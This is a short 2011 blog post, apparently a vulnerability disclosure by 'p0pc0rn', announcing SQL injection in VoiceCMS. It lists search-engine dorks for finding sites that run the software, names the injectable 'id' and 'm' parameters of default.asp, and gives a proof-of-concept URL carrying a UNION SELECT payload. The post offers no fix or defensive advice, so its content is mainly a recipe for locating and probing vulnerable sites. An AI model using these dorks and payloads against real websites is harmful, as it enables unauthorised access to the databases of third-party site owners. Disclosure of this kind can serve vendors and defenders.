Tuesday, March 15, 2011

VoiceCMS Vulnerable to SQL Injection


Title : VoiceCMS Vulnerable to SQL Injection
Vendor : http://www.voicecms.ca
Found by : p0pc0rn
Dork
: intext:"Powered by VoiceCMS"
: intext:"powered by triware"


SQL - Jet Engine Database Error
-------------------------------
Parameter
http://site.com/default.asp?com=[Page]&id=[SQL]&m=[id]
http://site.com/default.asp?com=[Page]&id=[id]&m=[SQL]

POC
---
http://site.com/default.asp?com=PhotoGallery&id=1 union select 0 from test.a&m=1




thanks,
-p0pc0rn-
Share:

0 comments: